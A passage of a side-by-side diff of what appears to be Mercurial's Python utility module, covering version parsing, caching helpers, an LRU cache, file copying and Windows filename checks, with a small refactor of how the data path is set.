1066 1066 self.fh.write(b'%s> gettimeout() -> %f\n' % (self.name, res))
1067 1067
1068 1068 def setsockopt(self, res, level, optname, value):
1069 1069 if not self.states:
1070 1070 return
1071 1071
1072 1072 self.fh.write(
1073 1073 b'%s> setsockopt(%r, %r, %r) -> %r\n'
1074 1074 % (self.name, level, optname, value, res)
1075 1075 )
1076 1076
1077 1077
1078 1078 def makeloggingsocket(
1079 1079 logh,
1080 1080 fh,
1081 1081 name,
1082 1082 reads=True,
1083 1083 writes=True,
1084 1084 states=True,
1085 1085 logdata=False,
1086 1086 logdataapis=True,
1087 1087 ):
1088 1088 """Turn a socket into a logging socket."""
1089 1089
1090 1090 observer = socketobserver(
1091 1091 logh,
1092 1092 name,
1093 1093 reads=reads,
1094 1094 writes=writes,
1095 1095 states=states,
1096 1096 logdata=logdata,
1097 1097 logdataapis=logdataapis,
1098 1098 )
1099 1099 return socketproxy(fh, observer)
1100 1100
1101 1101
1102 1102 def version():
1103 1103 """Return version information if available."""
1104 1104 try:
1105 1105 from . import __version__
1106 1106
1107 1107 return __version__.version
1108 1108 except ImportError:
1109 1109 return b'unknown'
1110 1110
1111 1111
1112 1112 def versiontuple(v=None, n=4):
1113 1113 """Parses a Mercurial version string into an N-tuple.
1114 1114
1115 1115 The version string to be parsed is specified with the ``v`` argument.
1116 1116 If it isn't defined, the current Mercurial version string will be parsed.
1117 1117
1118 1118 ``n`` can be 2, 3, or 4. Here is how some version strings map to
1119 1119 returned values:
1120 1120
1121 1121 >>> v = b'3.6.1+190-df9b73d2d444'
1122 1122 >>> versiontuple(v, 2)
1123 1123 (3, 6)
1124 1124 >>> versiontuple(v, 3)
1125 1125 (3, 6, 1)
1126 1126 >>> versiontuple(v, 4)
1127 1127 (3, 6, 1, '190-df9b73d2d444')
1128 1128
1129 1129 >>> versiontuple(b'3.6.1+190-df9b73d2d444+20151118')
1130 1130 (3, 6, 1, '190-df9b73d2d444+20151118')
1131 1131
1132 1132 >>> v = b'3.6'
1133 1133 >>> versiontuple(v, 2)
1134 1134 (3, 6)
1135 1135 >>> versiontuple(v, 3)
1136 1136 (3, 6, None)
1137 1137 >>> versiontuple(v, 4)
1138 1138 (3, 6, None, None)
1139 1139
1140 1140 >>> v = b'3.9-rc'
1141 1141 >>> versiontuple(v, 2)
1142 1142 (3, 9)
1143 1143 >>> versiontuple(v, 3)
1144 1144 (3, 9, None)
1145 1145 >>> versiontuple(v, 4)
1146 1146 (3, 9, None, 'rc')
1147 1147
1148 1148 >>> v = b'3.9-rc+2-02a8fea4289b'
1149 1149 >>> versiontuple(v, 2)
1150 1150 (3, 9)
1151 1151 >>> versiontuple(v, 3)
1152 1152 (3, 9, None)
1153 1153 >>> versiontuple(v, 4)
1154 1154 (3, 9, None, 'rc+2-02a8fea4289b')
1155 1155
1156 1156 >>> versiontuple(b'4.6rc0')
1157 1157 (4, 6, None, 'rc0')
1158 1158 >>> versiontuple(b'4.6rc0+12-425d55e54f98')
1159 1159 (4, 6, None, 'rc0+12-425d55e54f98')
1160 1160 >>> versiontuple(b'.1.2.3')
1161 1161 (None, None, None, '.1.2.3')
1162 1162 >>> versiontuple(b'12.34..5')
1163 1163 (12, 34, None, '..5')
1164 1164 >>> versiontuple(b'1.2.3.4.5.6')
1165 1165 (1, 2, 3, '.4.5.6')
1166 1166 """
1167 1167 if not v:
1168 1168 v = version()
1169 1169 m = remod.match(br'(\d+(?:\.\d+){,2})[\+-]?(.*)', v)
1170 1170 if not m:
1171 1171 vparts, extra = b'', v
1172 1172 elif m.group(2):
1173 1173 vparts, extra = m.groups()
1174 1174 else:
1175 1175 vparts, extra = m.group(1), None
1176 1176
1177 1177 vints = []
1178 1178 for i in vparts.split(b'.'):
1179 1179 try:
1180 1180 vints.append(int(i))
1181 1181 except ValueError:
1182 1182 break
1183 1183 # (3, 6) -> (3, 6, None)
1184 1184 while len(vints) < 3:
1185 1185 vints.append(None)
1186 1186
1187 1187 if n == 2:
1188 1188 return (vints[0], vints[1])
1189 1189 if n == 3:
1190 1190 return (vints[0], vints[1], vints[2])
1191 1191 if n == 4:
1192 1192 return (vints[0], vints[1], vints[2], extra)
1193 1193
1194 1194
1195 1195 def cachefunc(func):
1196 1196 '''cache the result of function calls'''
1197 1197 # XXX doesn't handle keywords args
1198 1198 if func.__code__.co_argcount == 0:
1199 1199 cache = []
1200 1200
1201 1201 def f():
1202 1202 if len(cache) == 0:
1203 1203 cache.append(func())
1204 1204 return cache[0]
1205 1205
1206 1206 return f
1207 1207 cache = {}
1208 1208 if func.__code__.co_argcount == 1:
1209 1209 # we gain a small amount of time because
1210 1210 # we don't need to pack/unpack the list
1211 1211 def f(arg):
1212 1212 if arg not in cache:
1213 1213 cache[arg] = func(arg)
1214 1214 return cache[arg]
1215 1215
1216 1216 else:
1217 1217
1218 1218 def f(*args):
1219 1219 if args not in cache:
1220 1220 cache[args] = func(*args)
1221 1221 return cache[args]
1222 1222
1223 1223 return f
1224 1224
1225 1225
1226 1226 class cow(object):
1227 1227 """helper class to make copy-on-write easier
1228 1228
1229 1229 Call preparewrite before doing any writes.
1230 1230 """
1231 1231
1232 1232 def preparewrite(self):
1233 1233 """call this before writes, return self or a copied new object"""
1234 1234 if getattr(self, '_copied', 0):
1235 1235 self._copied -= 1
1236 1236 return self.__class__(self)
1237 1237 return self
1238 1238
1239 1239 def copy(self):
1240 1240 """always do a cheap copy"""
1241 1241 self._copied = getattr(self, '_copied', 0) + 1
1242 1242 return self
1243 1243
1244 1244
1245 1245 class sortdict(collections.OrderedDict):
1246 1246 '''a simple sorted dictionary
1247 1247
1248 1248 >>> d1 = sortdict([(b'a', 0), (b'b', 1)])
1249 1249 >>> d2 = d1.copy()
1250 1250 >>> d2
1251 1251 sortdict([('a', 0), ('b', 1)])
1252 1252 >>> d2.update([(b'a', 2)])
1253 1253 >>> list(d2.keys()) # should still be in last-set order
1254 1254 ['b', 'a']
1255 1255 '''
1256 1256
1257 1257 def __setitem__(self, key, value):
1258 1258 if key in self:
1259 1259 del self[key]
1260 1260 super(sortdict, self).__setitem__(key, value)
1261 1261
1262 1262 if pycompat.ispypy:
1263 1263 # __setitem__() isn't called as of PyPy 5.8.0
1264 1264 def update(self, src):
1265 1265 if isinstance(src, dict):
1266 1266 src = pycompat.iteritems(src)
1267 1267 for k, v in src:
1268 1268 self[k] = v
1269 1269
1270 1270
1271 1271 class cowdict(cow, dict):
1272 1272 """copy-on-write dict
1273 1273
1274 1274 Be sure to call d = d.preparewrite() before writing to d.
1275 1275
1276 1276 >>> a = cowdict()
1277 1277 >>> a is a.preparewrite()
1278 1278 True
1279 1279 >>> b = a.copy()
1280 1280 >>> b is a
1281 1281 True
1282 1282 >>> c = b.copy()
1283 1283 >>> c is a
1284 1284 True
1285 1285 >>> a = a.preparewrite()
1286 1286 >>> b is a
1287 1287 False
1288 1288 >>> a is a.preparewrite()
1289 1289 True
1290 1290 >>> c = c.preparewrite()
1291 1291 >>> b is c
1292 1292 False
1293 1293 >>> b is b.preparewrite()
1294 1294 True
1295 1295 """
1296 1296
1297 1297
1298 1298 class cowsortdict(cow, sortdict):
1299 1299 """copy-on-write sortdict
1300 1300
1301 1301 Be sure to call d = d.preparewrite() before writing to d.
1302 1302 """
1303 1303
1304 1304
1305 1305 class transactional(object): # pytype: disable=ignored-metaclass
1306 1306 """Base class for making a transactional type into a context manager."""
1307 1307
1308 1308 __metaclass__ = abc.ABCMeta
1309 1309
1310 1310 @abc.abstractmethod
1311 1311 def close(self):
1312 1312 """Successfully closes the transaction."""
1313 1313
1314 1314 @abc.abstractmethod
1315 1315 def release(self):
1316 1316 """Marks the end of the transaction.
1317 1317
1318 1318 If the transaction has not been closed, it will be aborted.
1319 1319 """
1320 1320
1321 1321 def __enter__(self):
1322 1322 return self
1323 1323
1324 1324 def __exit__(self, exc_type, exc_val, exc_tb):
1325 1325 try:
1326 1326 if exc_type is None:
1327 1327 self.close()
1328 1328 finally:
1329 1329 self.release()
1330 1330
1331 1331
1332 1332 @contextlib.contextmanager
1333 1333 def acceptintervention(tr=None):
1334 1334 """A context manager that closes the transaction on InterventionRequired
1335 1335
1336 1336 If no transaction was provided, this simply runs the body and returns
1337 1337 """
1338 1338 if not tr:
1339 1339 yield
1340 1340 return
1341 1341 try:
1342 1342 yield
1343 1343 tr.close()
1344 1344 except error.InterventionRequired:
1345 1345 tr.close()
1346 1346 raise
1347 1347 finally:
1348 1348 tr.release()
1349 1349
1350 1350
1351 1351 @contextlib.contextmanager
1352 1352 def nullcontextmanager():
1353 1353 yield
1354 1354
1355 1355
1356 1356 class _lrucachenode(object):
1357 1357 """A node in a doubly linked list.
1358 1358
1359 1359 Holds a reference to nodes on either side as well as a key-value
1360 1360 pair for the dictionary entry.
1361 1361 """
1362 1362
1363 1363 __slots__ = ('next', 'prev', 'key', 'value', 'cost')
1364 1364
1365 1365 def __init__(self):
1366 1366 self.next = None
1367 1367 self.prev = None
1368 1368
1369 1369 self.key = _notset
1370 1370 self.value = None
1371 1371 self.cost = 0
1372 1372
1373 1373 def markempty(self):
1374 1374 """Mark the node as emptied."""
1375 1375 self.key = _notset
1376 1376 self.value = None
1377 1377 self.cost = 0
1378 1378
1379 1379
1380 1380 class lrucachedict(object):
1381 1381 """Dict that caches most recent accesses and sets.
1382 1382
1383 1383 The dict consists of an actual backing dict - indexed by original
1384 1384 key - and a doubly linked circular list defining the order of entries in
1385 1385 the cache.
1386 1386
1387 1387 The head node is the newest entry in the cache. If the cache is full,
1388 1388 we recycle head.prev and make it the new head. Cache accesses result in
1389 1389 the node being moved to before the existing head and being marked as the
1390 1390 new head node.
1391 1391
1392 1392 Items in the cache can be inserted with an optional "cost" value. This is
1393 1393 simply an integer that is specified by the caller. The cache can be queried
1394 1394 for the total cost of all items presently in the cache.
1395 1395
1396 1396 The cache can also define a maximum cost. If a cache insertion would
1397 1397 cause the total cost of the cache to go beyond the maximum cost limit,
1398 1398 nodes will be evicted to make room for the new code. This can be used
1399 1399 to e.g. set a max memory limit and associate an estimated bytes size
1400 1400 cost to each item in the cache. By default, no maximum cost is enforced.
1401 1401 """
1402 1402
1403 1403 def __init__(self, max, maxcost=0):
1404 1404 self._cache = {}
1405 1405
1406 1406 self._head = head = _lrucachenode()
1407 1407 head.prev = head
1408 1408 head.next = head
1409 1409 self._size = 1
1410 1410 self.capacity = max
1411 1411 self.totalcost = 0
1412 1412 self.maxcost = maxcost
1413 1413
1414 1414 def __len__(self):
1415 1415 return len(self._cache)
1416 1416
1417 1417 def __contains__(self, k):
1418 1418 return k in self._cache
1419 1419
1420 1420 def __iter__(self):
1421 1421 # We don't have to iterate in cache order, but why not.
1422 1422 n = self._head
1423 1423 for i in range(len(self._cache)):
1424 1424 yield n.key
1425 1425 n = n.next
1426 1426
1427 1427 def __getitem__(self, k):
1428 1428 node = self._cache[k]
1429 1429 self._movetohead(node)
1430 1430 return node.value
1431 1431
1432 1432 def insert(self, k, v, cost=0):
1433 1433 """Insert a new item in the cache with optional cost value."""
1434 1434 node = self._cache.get(k)
1435 1435 # Replace existing value and mark as newest.
1436 1436 if node is not None:
1437 1437 self.totalcost -= node.cost
1438 1438 node.value = v
1439 1439 node.cost = cost
1440 1440 self.totalcost += cost
1441 1441 self._movetohead(node)
1442 1442
1443 1443 if self.maxcost:
1444 1444 self._enforcecostlimit()
1445 1445
1446 1446 return
1447 1447
1448 1448 if self._size < self.capacity:
1449 1449 node = self._addcapacity()
1450 1450 else:
1451 1451 # Grab the last/oldest item.
1452 1452 node = self._head.prev
1453 1453
1454 1454 # At capacity. Kill the old entry.
1455 1455 if node.key is not _notset:
1456 1456 self.totalcost -= node.cost
1457 1457 del self._cache[node.key]
1458 1458
1459 1459 node.key = k
1460 1460 node.value = v
1461 1461 node.cost = cost
1462 1462 self.totalcost += cost
1463 1463 self._cache[k] = node
1464 1464 # And mark it as newest entry. No need to adjust order since it
1465 1465 # is already self._head.prev.
1466 1466 self._head = node
1467 1467
1468 1468 if self.maxcost:
1469 1469 self._enforcecostlimit()
1470 1470
1471 1471 def __setitem__(self, k, v):
1472 1472 self.insert(k, v)
1473 1473
1474 1474 def __delitem__(self, k):
1475 1475 self.pop(k)
1476 1476
1477 1477 def pop(self, k, default=_notset):
1478 1478 try:
1479 1479 node = self._cache.pop(k)
1480 1480 except KeyError:
1481 1481 if default is _notset:
1482 1482 raise
1483 1483 return default
1484 1484 value = node.value
1485 1485 self.totalcost -= node.cost
1486 1486 node.markempty()
1487 1487
1488 1488 # Temporarily mark as newest item before re-adjusting head to make
1489 1489 # this node the oldest item.
1490 1490 self._movetohead(node)
1491 1491 self._head = node.next
1492 1492
1493 1493 return value
1494 1494
1495 1495 # Additional dict methods.
1496 1496
1497 1497 def get(self, k, default=None):
1498 1498 try:
1499 1499 return self.__getitem__(k)
1500 1500 except KeyError:
1501 1501 return default
1502 1502
1503 1503 def peek(self, k, default=_notset):
1504 1504 """Get the specified item without moving it to the head
1505 1505
1506 1506 Unlike get(), this doesn't mutate the internal state. But be aware
1507 1507 that it doesn't mean peek() is thread safe.
1508 1508 """
1509 1509 try:
1510 1510 node = self._cache[k]
1511 1511 return node.value
1512 1512 except KeyError:
1513 1513 if default is _notset:
1514 1514 raise
1515 1515 return default
1516 1516
1517 1517 def clear(self):
1518 1518 n = self._head
1519 1519 while n.key is not _notset:
1520 1520 self.totalcost -= n.cost
1521 1521 n.markempty()
1522 1522 n = n.next
1523 1523
1524 1524 self._cache.clear()
1525 1525
1526 1526 def copy(self, capacity=None, maxcost=0):
1527 1527 """Create a new cache as a copy of the current one.
1528 1528
1529 1529 By default, the new cache has the same capacity as the existing one.
1530 1530 But, the cache capacity can be changed as part of performing the
1531 1531 copy.
1532 1532
1533 1533 Items in the copy have an insertion/access order matching this
1534 1534 instance.
1535 1535 """
1536 1536
1537 1537 capacity = capacity or self.capacity
1538 1538 maxcost = maxcost or self.maxcost
1539 1539 result = lrucachedict(capacity, maxcost=maxcost)
1540 1540
1541 1541 # We copy entries by iterating in oldest-to-newest order so the copy
1542 1542 # has the correct ordering.
1543 1543
1544 1544 # Find the first non-empty entry.
1545 1545 n = self._head.prev
1546 1546 while n.key is _notset and n is not self._head:
1547 1547 n = n.prev
1548 1548
1549 1549 # We could potentially skip the first N items when decreasing capacity.
1550 1550 # But let's keep it simple unless it is a performance problem.
1551 1551 for i in range(len(self._cache)):
1552 1552 result.insert(n.key, n.value, cost=n.cost)
1553 1553 n = n.prev
1554 1554
1555 1555 return result
1556 1556
1557 1557 def popoldest(self):
1558 1558 """Remove the oldest item from the cache.
1559 1559
1560 1560 Returns the (key, value) describing the removed cache entry.
1561 1561 """
1562 1562 if not self._cache:
1563 1563 return
1564 1564
1565 1565 # Walk the linked list backwards starting at tail node until we hit
1566 1566 # a non-empty node.
1567 1567 n = self._head.prev
1568 1568 while n.key is _notset:
1569 1569 n = n.prev
1570 1570
1571 1571 key, value = n.key, n.value
1572 1572
1573 1573 # And remove it from the cache and mark it as empty.
1574 1574 del self._cache[n.key]
1575 1575 self.totalcost -= n.cost
1576 1576 n.markempty()
1577 1577
1578 1578 return key, value
1579 1579
1580 1580 def _movetohead(self, node):
1581 1581 """Mark a node as the newest, making it the new head.
1582 1582
1583 1583 When a node is accessed, it becomes the freshest entry in the LRU
1584 1584 list, which is denoted by self._head.
1585 1585
1586 1586 Visually, let's make ``N`` the new head node (* denotes head):
1587 1587
1588 1588 previous/oldest <-> head <-> next/next newest
1589 1589
1590 1590 ----<->--- A* ---<->-----
1591 1591 | |
1592 1592 E <-> D <-> N <-> C <-> B
1593 1593
1594 1594 To:
1595 1595
1596 1596 ----<->--- N* ---<->-----
1597 1597 | |
1598 1598 E <-> D <-> C <-> B <-> A
1599 1599
1600 1600 This requires the following moves:
1601 1601
1602 1602 C.next = D (node.prev.next = node.next)
1603 1603 D.prev = C (node.next.prev = node.prev)
1604 1604 E.next = N (head.prev.next = node)
1605 1605 N.prev = E (node.prev = head.prev)
1606 1606 N.next = A (node.next = head)
1607 1607 A.prev = N (head.prev = node)
1608 1608 """
1609 1609 head = self._head
1610 1610 # C.next = D
1611 1611 node.prev.next = node.next
1612 1612 # D.prev = C
1613 1613 node.next.prev = node.prev
1614 1614 # N.prev = E
1615 1615 node.prev = head.prev
1616 1616 # N.next = A
1617 1617 # It is tempting to do just "head" here, however if node is
1618 1618 # adjacent to head, this will do bad things.
1619 1619 node.next = head.prev.next
1620 1620 # E.next = N
1621 1621 node.next.prev = node
1622 1622 # A.prev = N
1623 1623 node.prev.next = node
1624 1624
1625 1625 self._head = node
1626 1626
1627 1627 def _addcapacity(self):
1628 1628 """Add a node to the circular linked list.
1629 1629
1630 1630 The new node is inserted before the head node.
1631 1631 """
1632 1632 head = self._head
1633 1633 node = _lrucachenode()
1634 1634 head.prev.next = node
1635 1635 node.prev = head.prev
1636 1636 node.next = head
1637 1637 head.prev = node
1638 1638 self._size += 1
1639 1639 return node
1640 1640
1641 1641 def _enforcecostlimit(self):
1642 1642 # This should run after an insertion. It should only be called if total
1643 1643 # cost limits are being enforced.
1644 1644 # The most recently inserted node is never evicted.
1645 1645 if len(self) <= 1 or self.totalcost <= self.maxcost:
1646 1646 return
1647 1647
1648 1648 # This is logically equivalent to calling popoldest() until we
1649 1649 # free up enough cost. We don't do that since popoldest() needs
1650 1650 # to walk the linked list and doing this in a loop would be
1651 1651 # quadratic. So we find the first non-empty node and then
1652 1652 # walk nodes until we free up enough capacity.
1653 1653 #
1654 1654 # If we only removed the minimum number of nodes to free enough
1655 1655 # cost at insert time, chances are high that the next insert would
1656 1656 # also require pruning. This would effectively constitute quadratic
1657 1657 # behavior for insert-heavy workloads. To mitigate this, we set a
1658 1658 # target cost that is a percentage of the max cost. This will tend
1659 1659 # to free more nodes when the high water mark is reached, which
1660 1660 # lowers the chances of needing to prune on the subsequent insert.
1661 1661 targetcost = int(self.maxcost * 0.75)
1662 1662
1663 1663 n = self._head.prev
1664 1664 while n.key is _notset:
1665 1665 n = n.prev
1666 1666
1667 1667 while len(self) > 1 and self.totalcost > targetcost:
1668 1668 del self._cache[n.key]
1669 1669 self.totalcost -= n.cost
1670 1670 n.markempty()
1671 1671 n = n.prev
1672 1672
1673 1673
1674 1674 def lrucachefunc(func):
1675 1675 '''cache most recent results of function calls'''
1676 1676 cache = {}
1677 1677 order = collections.deque()
1678 1678 if func.__code__.co_argcount == 1:
1679 1679
1680 1680 def f(arg):
1681 1681 if arg not in cache:
1682 1682 if len(cache) > 20:
1683 1683 del cache[order.popleft()]
1684 1684 cache[arg] = func(arg)
1685 1685 else:
1686 1686 order.remove(arg)
1687 1687 order.append(arg)
1688 1688 return cache[arg]
1689 1689
1690 1690 else:
1691 1691
1692 1692 def f(*args):
1693 1693 if args not in cache:
1694 1694 if len(cache) > 20:
1695 1695 del cache[order.popleft()]
1696 1696 cache[args] = func(*args)
1697 1697 else:
1698 1698 order.remove(args)
1699 1699 order.append(args)
1700 1700 return cache[args]
1701 1701
1702 1702 return f
1703 1703
1704 1704
1705 1705 class propertycache(object):
1706 1706 def __init__(self, func):
1707 1707 self.func = func
1708 1708 self.name = func.__name__
1709 1709
1710 1710 def __get__(self, obj, type=None):
1711 1711 result = self.func(obj)
1712 1712 self.cachevalue(obj, result)
1713 1713 return result
1714 1714
1715 1715 def cachevalue(self, obj, value):
1716 1716 # __dict__ assignment required to bypass __setattr__ (eg: repoview)
1717 1717 obj.__dict__[self.name] = value
1718 1718
1719 1719
1720 1720 def clearcachedproperty(obj, prop):
1721 1721 '''clear a cached property value, if one has been set'''
1722 1722 prop = pycompat.sysstr(prop)
1723 1723 if prop in obj.__dict__:
1724 1724 del obj.__dict__[prop]
1725 1725
1726 1726
1727 1727 def increasingchunks(source, min=1024, max=65536):
1728 1728 '''return no less than min bytes per chunk while data remains,
1729 1729 doubling min after each chunk until it reaches max'''
1730 1730
1731 1731 def log2(x):
1732 1732 if not x:
1733 1733 return 0
1734 1734 i = 0
1735 1735 while x:
1736 1736 x >>= 1
1737 1737 i += 1
1738 1738 return i - 1
1739 1739
1740 1740 buf = []
1741 1741 blen = 0
1742 1742 for chunk in source:
1743 1743 buf.append(chunk)
1744 1744 blen += len(chunk)
1745 1745 if blen >= min:
1746 1746 if min < max:
1747 1747 min = min << 1
1748 1748 nmin = 1 << log2(blen)
1749 1749 if nmin > min:
1750 1750 min = nmin
1751 1751 if min > max:
1752 1752 min = max
1753 1753 yield b''.join(buf)
1754 1754 blen = 0
1755 1755 buf = []
1756 1756 if buf:
1757 1757 yield b''.join(buf)
1758 1758
1759 1759
1760 1760 def always(fn):
1761 1761 return True
1762 1762
1763 1763
1764 1764 def never(fn):
1765 1765 return False
1766 1766
1767 1767
1768 1768 def nogc(func):
1769 1769 """disable garbage collector
1770 1770
1771 1771 Python's garbage collector triggers a GC each time a certain number of
1772 1772 container objects (the number being defined by gc.get_threshold()) are
1773 1773 allocated even when marked not to be tracked by the collector. Tracking has
1774 1774 no effect on when GCs are triggered, only on what objects the GC looks
1775 1775 into. As a workaround, disable GC while building complex (huge)
1776 1776 containers.
1777 1777
1778 1778 This garbage collector issue have been fixed in 2.7. But it still affect
1779 1779 CPython's performance.
1780 1780 """
1781 1781
1782 1782 def wrapper(*args, **kwargs):
1783 1783 gcenabled = gc.isenabled()
1784 1784 gc.disable()
1785 1785 try:
1786 1786 return func(*args, **kwargs)
1787 1787 finally:
1788 1788 if gcenabled:
1789 1789 gc.enable()
1790 1790
1791 1791 return wrapper
1792 1792
1793 1793
1794 1794 if pycompat.ispypy:
1795 1795 # PyPy runs slower with gc disabled
1796 1796 nogc = lambda x: x
1797 1797
1798 1798
1799 1799 def pathto(root, n1, n2):
1800 1800 '''return the relative path from one place to another.
1801 1801 root should use os.sep to separate directories
1802 1802 n1 should use os.sep to separate directories
1803 1803 n2 should use "/" to separate directories
1804 1804 returns an os.sep-separated path.
1805 1805
1806 1806 If n1 is a relative path, it's assumed it's
1807 1807 relative to root.
1808 1808 n2 should always be relative to root.
1809 1809 '''
1810 1810 if not n1:
1811 1811 return localpath(n2)
1812 1812 if os.path.isabs(n1):
1813 1813 if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
1814 1814 return os.path.join(root, localpath(n2))
1815 1815 n2 = b'/'.join((pconvert(root), n2))
1816 1816 a, b = splitpath(n1), n2.split(b'/')
1817 1817 a.reverse()
1818 1818 b.reverse()
1819 1819 while a and b and a[-1] == b[-1]:
1820 1820 a.pop()
1821 1821 b.pop()
1822 1822 b.reverse()
1823 1823 return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
1824 1824
1825 1825
1826 # the location of data files matching the source code
1827 if resourceutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
1828 # executable version (py2exe) doesn't support __file__
1829 datapath = os.path.dirname(pycompat.sysexecutable)
1830 else:
1831 datapath = os.path.dirname(pycompat.fsencode(__file__))
1832
1826 datapath = resourceutil.datapath
1833 1827 i18n.setdatapath(datapath)
1834 1828
1835 1829
1836 1830 def checksignature(func):
1837 1831 '''wrap a function with code to check for calling errors'''
1838 1832
1839 1833 def check(*args, **kwargs):
1840 1834 try:
1841 1835 return func(*args, **kwargs)
1842 1836 except TypeError:
1843 1837 if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
1844 1838 raise error.SignatureError
1845 1839 raise
1846 1840
1847 1841 return check
1848 1842
1849 1843
1850 1844 # a whilelist of known filesystems where hardlink works reliably
1851 1845 _hardlinkfswhitelist = {
1852 1846 b'apfs',
1853 1847 b'btrfs',
1854 1848 b'ext2',
1855 1849 b'ext3',
1856 1850 b'ext4',
1857 1851 b'hfs',
1858 1852 b'jfs',
1859 1853 b'NTFS',
1860 1854 b'reiserfs',
1861 1855 b'tmpfs',
1862 1856 b'ufs',
1863 1857 b'xfs',
1864 1858 b'zfs',
1865 1859 }
1866 1860
1867 1861
1868 1862 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
1869 1863 '''copy a file, preserving mode and optionally other stat info like
1870 1864 atime/mtime
1871 1865
1872 1866 checkambig argument is used with filestat, and is useful only if
1873 1867 destination file is guarded by any lock (e.g. repo.lock or
1874 1868 repo.wlock).
1875 1869
1876 1870 copystat and checkambig should be exclusive.
1877 1871 '''
1878 1872 assert not (copystat and checkambig)
1879 1873 oldstat = None
1880 1874 if os.path.lexists(dest):
1881 1875 if checkambig:
1882 1876 oldstat = checkambig and filestat.frompath(dest)
1883 1877 unlink(dest)
1884 1878 if hardlink:
1885 1879 # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
1886 1880 # unless we are confident that dest is on a whitelisted filesystem.
1887 1881 try:
1888 1882 fstype = getfstype(os.path.dirname(dest))
1889 1883 except OSError:
1890 1884 fstype = None
1891 1885 if fstype not in _hardlinkfswhitelist:
1892 1886 hardlink = False
1893 1887 if hardlink:
1894 1888 try:
1895 1889 oslink(src, dest)
1896 1890 return
1897 1891 except (IOError, OSError):
1898 1892 pass # fall back to normal copy
1899 1893 if os.path.islink(src):
1900 1894 os.symlink(os.readlink(src), dest)
1901 1895 # copytime is ignored for symlinks, but in general copytime isn't needed
1902 1896 # for them anyway
1903 1897 else:
1904 1898 try:
1905 1899 shutil.copyfile(src, dest)
1906 1900 if copystat:
1907 1901 # copystat also copies mode
1908 1902 shutil.copystat(src, dest)
1909 1903 else:
1910 1904 shutil.copymode(src, dest)
1911 1905 if oldstat and oldstat.stat:
1912 1906 newstat = filestat.frompath(dest)
1913 1907 if newstat.isambig(oldstat):
1914 1908 # stat of copied file is ambiguous to original one
1915 1909 advanced = (
1916 1910 oldstat.stat[stat.ST_MTIME] + 1
1917 1911 ) & 0x7FFFFFFF
1918 1912 os.utime(dest, (advanced, advanced))
1919 1913 except shutil.Error as inst:
1920 1914 raise error.Abort(str(inst))
1921 1915
1922 1916
1923 1917 def copyfiles(src, dst, hardlink=None, progress=None):
1924 1918 """Copy a directory tree using hardlinks if possible."""
1925 1919 num = 0
1926 1920
1927 1921 def settopic():
1928 1922 if progress:
1929 1923 progress.topic = _(b'linking') if hardlink else _(b'copying')
1930 1924
1931 1925 if os.path.isdir(src):
1932 1926 if hardlink is None:
1933 1927 hardlink = (
1934 1928 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
1935 1929 )
1936 1930 settopic()
1937 1931 os.mkdir(dst)
1938 1932 for name, kind in listdir(src):
1939 1933 srcname = os.path.join(src, name)
1940 1934 dstname = os.path.join(dst, name)
1941 1935 hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
1942 1936 num += n
1943 1937 else:
1944 1938 if hardlink is None:
1945 1939 hardlink = (
1946 1940 os.stat(os.path.dirname(src)).st_dev
1947 1941 == os.stat(os.path.dirname(dst)).st_dev
1948 1942 )
1949 1943 settopic()
1950 1944
1951 1945 if hardlink:
1952 1946 try:
1953 1947 oslink(src, dst)
1954 1948 except (IOError, OSError):
1955 1949 hardlink = False
1956 1950 shutil.copy(src, dst)
1957 1951 else:
1958 1952 shutil.copy(src, dst)
1959 1953 num += 1
1960 1954 if progress:
1961 1955 progress.increment()
1962 1956
1963 1957 return hardlink, num
1964 1958
1965 1959
1966 1960 _winreservednames = {
1967 1961 b'con',
1968 1962 b'prn',
1969 1963 b'aux',
1970 1964 b'nul',
1971 1965 b'com1',
1972 1966 b'com2',
1973 1967 b'com3',
1974 1968 b'com4',
1975 1969 b'com5',
1976 1970 b'com6',
1977 1971 b'com7',
1978 1972 b'com8',
1979 1973 b'com9',
1980 1974 b'lpt1',
1981 1975 b'lpt2',
1982 1976 b'lpt3',
1983 1977 b'lpt4',
1984 1978 b'lpt5',
1985 1979 b'lpt6',
1986 1980 b'lpt7',
1987 1981 b'lpt8',
1988 1982 b'lpt9',
1989 1983 }
1990 1984 _winreservedchars = b':*?"<>|'
1991 1985
1992 1986
1993 1987 def checkwinfilename(path):
1994 1988 r'''Check that the base-relative path is a valid filename on Windows.
1995 1989 Returns None if the path is ok, or a UI string describing the problem.
1996 1990
1997 1991 >>> checkwinfilename(b"just/a/normal/path")
1998 1992 >>> checkwinfilename(b"foo/bar/con.xml")
1999 1993 "filename contains 'con', which is reserved on Windows"
2000 1994 >>> checkwinfilename(b"foo/con.xml/bar")
2001 1995 "filename contains 'con', which is reserved on Windows"
2002 1996 >>> checkwinfilename(b"foo/bar/xml.con")
2003 1997 >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
2004 1998 "filename contains 'AUX', which is reserved on Windows"
2005 1999 >>> checkwinfilename(b"foo/bar/bla:.txt")
2006 2000 "filename contains ':', which is reserved on Windows"
2007 2001 >>> checkwinfilename(b"foo/bar/b\07la.txt")
2008 2002 "filename contains '\\x07', which is invalid on Windows"
2009 2003 >>> checkwinfilename(b"foo/bar/bla ")
2010 2004 "filename ends with ' ', which is not allowed on Windows"
2011 2005 >>> checkwinfilename(b"../bar")
2012 2006 >>> checkwinfilename(b"foo\\")
2013 2007 "filename ends with '\\', which is invalid on Windows"
2014 2008 >>> checkwinfilename(b"foo\\/bar")
2015 2009 "directory name ends with '\\', which is invalid on Windows"
2016 2010 '''
2017 2011 if path.endswith(b'\\'):
2018 2012 return _(b"filename ends with '\\', which is invalid on Windows")
2019 2013 if b'\\/' in path:
2020 2014 return _(b"directory name ends with '\\', which is invalid on Windows")
2021 2015 for n in path.replace(b'\\', b'/').split(b'/'):
2022 2016 if not n:
2023 2017 continue
2024 2018 for c in _filenamebytestr(n):
2025 2019 if c in _winreservedchars:
2026 2020 return (
2027 2021 _(
2028 2022 b"filename contains '%s', which is reserved "
2029 2023 b"on Windows"
2030 2024 )
2031 2025 % c
2032 2026 )
2033 2027 if ord(c) <= 31:
2034 2028 return _(
